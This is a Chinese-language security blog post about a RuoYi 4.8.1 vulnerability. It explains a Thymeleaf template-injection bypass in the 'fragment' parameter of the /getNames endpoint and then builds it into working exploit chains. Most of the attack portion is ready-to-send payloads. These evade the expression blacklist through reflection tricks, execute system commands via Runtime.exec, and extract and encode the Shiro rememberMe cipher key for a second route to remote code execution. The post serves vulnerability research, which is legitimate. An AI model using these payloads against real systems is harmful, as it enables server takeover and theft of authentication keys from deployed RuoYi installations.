若依最新版本4.8.1漏洞 SSTI绕过获取ShiroKey至RCE
编辑前言
最近在微信公众号阅读某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)这篇文章,这篇文章的作者提供了一种新的表达式注入绕过方法,遂想通过这个绕过方法更改之前的利用链绕过检测并实现RCE。
什么是Thymeleaf表达式注入?
Thymeleaf是一种流行的Java模板引擎,用于在Web应用中生成动态HTML页面。表达式注入是指攻击者通过输入精心构造的数据,使得应用程序执行了非预期的表达式代码。
成功的Thymeleaf表达式注入可能导致远程代码执行、数据库信息泄露、服务器被完全控制等严重后果。
漏洞分析
RCE
发现的这个漏洞存在于若依管理系统的CacheController.java文件中,涉及/getNames接口:
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap) {
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment; // 模板注入漏洞
}漏洞点:
控制器:
CacheController.java接口:
/getNames漏洞字段:
fragment参数漏洞原因:直接将用户输入拼接到Thymeleaf模板路径中。
在上面的文章中,已知这个点存在ssti漏洞,并且可直接通过表达式传入命令执行方法执行命令。在当前版本中,之前的表达式注入已失效,通过__|$${表达式}|__::.x 该格式可进行绕过,先来试验一下:
fragment=__|$${#response.getWriter().print('111')}|__::.x
发现是可以绕过的,页面成功输出111,但是想要和之前的payload一样直接反射调用runtime是不行的,原因在于最新版本的Thymeleaf中,SpringStandardExpressionUtils类将检查方法从containsSpELInstantiationOrStatic升级为containsSpELInstantiationOrStaticOrParam,并加强了检查逻辑,明确禁止上述危险语法的使用。这使得直接使用这些语法进行攻击变得更加困难。
最新版本中禁用的语法:
❌
T(java.lang.Runtime)(类型引用)❌
new java.io.File()(对象实例化)❌
T ()(带空格的类型引用)❌
param(参数引用)
经过测试,变量注入表达式也是行不通的,但是通过Groovy链式调用是可以成功执行的,因此表达式格式可以使用方法链式调用。之前的利用链不可用,经过查找,发现可以在SecurityManager 中获取获取getRuntime方法,根据之前payload的调用方法,构造出以下利用链:
获取SecurityManager → 获取Class → 获取ClassLoader → 加载Runtime类 → 获取getRuntime方法 → 获取Runtime实例 → 获取exec方法 → 执行系统命令
那么构造出如下利用链:
fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods().?[name=='getRuntime'][0].invoke(null).exec('calc'))}|__::.x现在执行这个payload,看是否能够执行。

直接500报错,那么为什么这个链看起来是正常的却不能执行?先一步一步来,一点一点删除调用的方法,直到删除到loadClass('java.lang.Runtime') 这个地方成功输出。

看来是有某个安全监测机制不让获取getRuntime方法,那么还有机会能绕过吗?有的。在Gvoory中,getMethods()和
getMethods作用是一样的,那么试一下把括号去掉是否报错。

没有报错,成功获取到getRuntime方法,那现在继续调试上面完整的利用链。

还是报错,从目前来看,直接调用exec的话会被监测机制拦截到,用同样的方法反射调用exec。

还是报错500,通过观察当前利用链,将getClass()的括号删除。

获取成功,现在只获取到了方法,但是没反射调用,由于获取到的是第一个exec方法,在查找当前exec方法的用法后,构造以下利用链:
fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x等价于Runtime.exec(Runtime.getRuntime,"calc");,意思就是执行Runtime.getRuntime中的exec方法。

成功执行命令。经过测试jdk8u192可执行命令,300+以上版本就不行了,高版本暂时没分析。
利用链思维图(ai生成的,箭头有点乱,按顺序看就好)

ShiroKey至RCE
上面的rce就结束了,但是观察代码发现,若依最新版本shirokey由SpringBean管理,可以调用SpringBean获取shirokey,下面开始查找shirokey的利用链。
首先先查找shiro关键方法,发现在securityManager Bean下存在如下代码:
@Bean
public SecurityManager securityManager(UserRealm userRealm)
{
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
// 设置realm
securityManager.setRealm(userRealm);
// 记住我
securityManager.setRememberMeManager(rememberMe ? rememberMeManager() : null);
// 注入缓存管理器
securityManager.setCacheManager(getEhCacheManager());
// session管理器
securityManager.setSessionManager(sessionManager());
return securityManager;
}在securityManager方法中,通过rememberMeManager()方法设置rememberMeManager:
public CustomCookieRememberMeManager rememberMeManager()
{
CustomCookieRememberMeManager cookieRememberMeManager = new CustomCookieRememberMeManager();
cookieRememberMeManager.setCookie(rememberMeCookie());
if (StringUtils.isNotEmpty(cipherKey))
{
cookieRememberMeManager.setCipherKey(Base64.decode(cipherKey));
}
else
{
cookieRememberMeManager.setCipherKey(CipherUtils.generateNewKey(128, "AES").getEncoded());
}
return cookieRememberMeManager;
}如果配置文件中设置了 shiro.cookie.cipherKey ,则使用该配置的Base64解码值,否则,通过 CipherUtils.generateNewKey(128, "AES").getEncoded() 生成随机密钥,进入生成随机密钥的方法实现:
public static Key generateNewKey(int keyBitSize, String algorithmName)
{
KeyGenerator kg;
try
{
kg = KeyGenerator.getInstance(algorithmName);
}
catch (NoSuchAlgorithmException e)
{
String msg = "Unable to acquire " + algorithmName + " algorithm. This is required to function.";
throw new IllegalStateException(msg, e);
}
kg.init(keyBitSize);
return kg.generateKey();
}找到了cipherKey的位置,现在通过表达式获取一下试试:
fragment=__|$${#response.getWriter().print(@securityManager.rememberMeManager.cipherKey)}|__::.x
成功获取到shirokey的字节码,接下来,通过上面的代码,反射调用加密方法并加密shirokey,构造利用链如下:
fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getDeclaredMethod('getEncoder').invoke(null).encodeToString(@securityManager.getRememberMeManager().getClass().getSuperclass().getMethods().?[name=='getCipherKey'][0].invoke(@securityManager.getRememberMeManager())))}|__::.x详细解释一下表达式调用链结构,在表达式 @securityManager.getRememberMeManager().getClass().getSuperclass().getMethods().?[name=='getCipherKey'][0].invoke(@securityManager.getRememberMeManager()) 中:
1. @securityManager.getRememberMeManager() :获取rememberMeManager对象实例
2. .getClass().getSuperclass() :获取该对象的父类(即CookieRememberMeManager)
3. .getMethods().?[name=='getCipherKey'][0] :找到名为getCipherKey的方法
4. .invoke(@securityManager.getRememberMeManager()) :调用该方法,第一个参数是方法的调用目标对象
非静态方法调用 : getCipherKey() 是非静态方法,必须在一个具体的对象实例上调用
实例方法的特性 :实例方法操作的是对象的成员变量(cipherKey就是rememberMeManager对象的一个成员变量)
反射机制要求 :当使用反射API调用非静态方法时,必须提供该方法所属的对象实例作为invoke的第一个参数
如果不提供对象实例,Java运行时将不知道从哪个对象中获取cipherKey的值。这就像调用普通方法时,必须指定是哪个对象调用该方法一样(如 obj.method() 而不是 method() )。
运行该表达式。

成功获取,该表达式还可以精简一下:
fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x
使用获取到的key,放到工具里测试下:


成功RCE。
引用
https://mp.weixin.qq.com/s/uxvGbO4biM87DVSXA_ZlQw 某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)
- 0
- 0
-
分享